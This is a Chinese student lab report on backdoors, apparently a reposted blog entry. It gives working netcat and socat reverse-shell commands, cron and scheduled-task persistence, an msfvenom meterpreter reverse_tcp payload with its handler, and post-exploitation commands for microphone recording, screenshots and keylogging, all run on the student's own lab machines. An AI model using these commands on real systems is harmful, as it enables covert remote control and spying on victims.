2018-2019-2 20165313 Exp2 後門原理與實踐

實踐基礎問題回答

(1)例舉你能想到的一個後門進入到你係統中的可能方式?

應用程序設定後門,用戶安裝後,後門就能夠進入。例如課堂上講到的百度。html

(2)例舉你知道的後門如何啓動起來(win及linux)的方式?

win中的後門伴隨軟件啓動
linux能夠用corn啓動linux

(3)Meterpreter有哪些給你映像深入的功能?

能夠獲取他人的語音錄音和視屏,還能夠獲取他人操做系統權限。web

(4)如何發現本身有系統有沒有被安裝後門?

殺毒軟件查殺。shell

試驗過程

課堂上試驗:

實踐過程:

(1)查看win7和kali的ip:


(2)進入ncat.exe目錄下運行ncat.exe -l -p 5313
(3)反向連接:nc 192.168.43.65313 -e /bin/sh

(4)kali輸入nc -l -p 5313
(5)Windows反彈鏈接Linux:``` ncat.exe -e cmd.exe 192.168.43.56 5313
windows

任務一:使用netcat獲取主機操做Shell,cron啓動

實踐過程:

(1)Windows輸入指令ncat.exe -l -p 5313 監聽
(2)Linux輸入指令crontab -e,選擇3打開,在最後一行添加代碼:53 * * * * /bin/netcat 192.168.1.185 5313 -e /bin/sh 在每小時的53分運行ncat回連win主機


(輸入保存完成後,能夠經過crontab -l來查看)安全

(3)時間到了,就能夠運行Linux shell指令:
架構

任務二:使用socat獲取主機操做Shell, 任務計劃啓動

實踐過程:

(1)打開Windows->控制面板->系統和安全->管理工具->任務計劃程序:

(2)新建任務計劃,填寫任務名稱
(3)新建觸發器,設置爲工做站鎖定時,並啓用:

(4)新建操做,在程序或腳本中選擇所下載的socat.exe文件路徑,在添加參數中添加tcp-listen:5313 exec:cmd.exe,pty,stderr命令

(5)運行建立任務,在linux中輸入指令socat - tcp:192.168.1.185:5313
tcp

任務三:使用MSF meterpreter(或其餘軟件)生成可執行文件,利用ncat或socat傳送到主機並運行獲取主機Shell

實踐過程:

(1)在Linux主機輸入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.56 LPORT=5313 -f exe > 20165313_backdoor.exe,此條指令意爲生成一個.exe程序,名稱爲 20165313_backdoor,未來在windows上運行時會回連到Linux主機相應端口

(2)在cmd中輸入指令ncat.exe -l 5313 > 5313_backdoor.exe回車準備接收文件:

(3)在kali中輸入指令nc 192.168.43.6 5313 < 20165313_backdoor.exe發送文件:

(4)輸入msfconsole啓動
(5)依次輸入use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.43.56
set LPORT 5313
輸入show options查看:

工具

任務四:使用MSF meterpreter(或其餘軟件)生成獲取目標主機音頻、攝像頭、擊鍵記錄等內容,並嘗試提權

實踐過程:

(1)Linux輸入指令exploit 開始監聽
(2)windows 雙擊後門程序執行。
(3)輸入指令record_mic 錄製一段音頻
編碼


(4)webcam_list查看目標主機是否有攝像頭

(5)輸入指令screenshot 截取屏幕

(6)輸入指令keyscan_start記錄擊鍵內容,輸入指令keyscan_dump 獲取擊鍵記錄

(7)輸入指令getsystem提權失敗

任務五:使用MSF生成shellcode,注入到實踐1中的pwn1中,獲取反彈鏈接Shell

參考了同組任胤的博客(http://www.javashuo.com/article/p-fysxgnzg-cy.html),發現他先生成shellcode ,再注入pwn1的方法走不通,我就試想是否是MSF能夠直接將shellcode注入到PWN1文件中去,我去找了找,發現MSF能夠本身生成一個可執行的後門,而且能夠設定輸出的格式(https://blog.csdn.net/zsj2102/article/details/78549508),又根據學姐的博客成功使用MSF生成shellcode,pwn1中。以下圖所示:

基本步驟學長的博客中都有了詳細的介紹,這裏我就不重複了(感興趣的能夠本身看看),這裏我想說的是:
(1)在利用MSF注入時應考慮執行文件的屬性問題,便是32位仍是64位執行文件。
(2)打開MSF進行監聽的時候,要根據被攻擊的主機即後門程序進行設置,即 set payload xxxxxx/meterpreter/reverse_tcp 中的xxxxx要根據實際狀況進行修改。任務三,四中被監聽主機是Windows系統,則應爲windows,而任務五中,則應改爲linux/x86
(3)操做細節注意:在Linux執行pwn3(注入shellcode以後的文件)應先加權限 chmod +x pwn3
(4)msfvenom –h 查看幫助:
中文解釋:

-p, --payload     <payload>       指定須要使用的payload(攻擊荷載)。若是須要使用自定義的payload,請使用'-'或者stdin指定

     -l, --list       [module_type]   列出指定模塊的全部可用資源.模塊類型包括: payloads, encoders, nops, all

     -n, --nopsled     <length>        爲payload預先指定一個NOP滑動長度

     -f, --format      <format>        指定輸出格式 (使用 --help-formats來獲取msf支持的輸出格式列表)

     -e, --encoder    [encoder]       指定須要使用的encoder(編碼器)

     -a, --arch        <architecture>  指定payload的目標架構

         --platform    <platform>      指定payload的目標平臺

     -s, --space       <length>        設定有效攻擊荷載的最大長度

     -b, --bad-chars   <list>          設定規避字符集,好比: '\x00\xff'

     -i, --iterations <count>          指定payload的編碼次數

     -c, --add-code    <path>          指定一個附加的win32 shellcode文件

     -x, --template    <path>          指定一個自定義的可執行文件做爲模板

     -k, --keep                        保護模板程序的動做,注入的payload做爲一個新的進程運行

         --payload-options            列舉payload的標準選項

     -o, --out   <path>               保存payload

     -v, --var-name <name>             指定一個自定義的變量,以肯定輸出格式

         --shellest                   最小化生成payload

     -h, --help                        查看幫助選項

         --help-formats               查看msf支持的輸出格式列表

實驗總結與體會

經過後門進行的攻擊更加隱蔽,也更加難以防護,因此只有真正瞭解其原理,才能找出對應的防護方法。

相關文章
相關標籤/搜索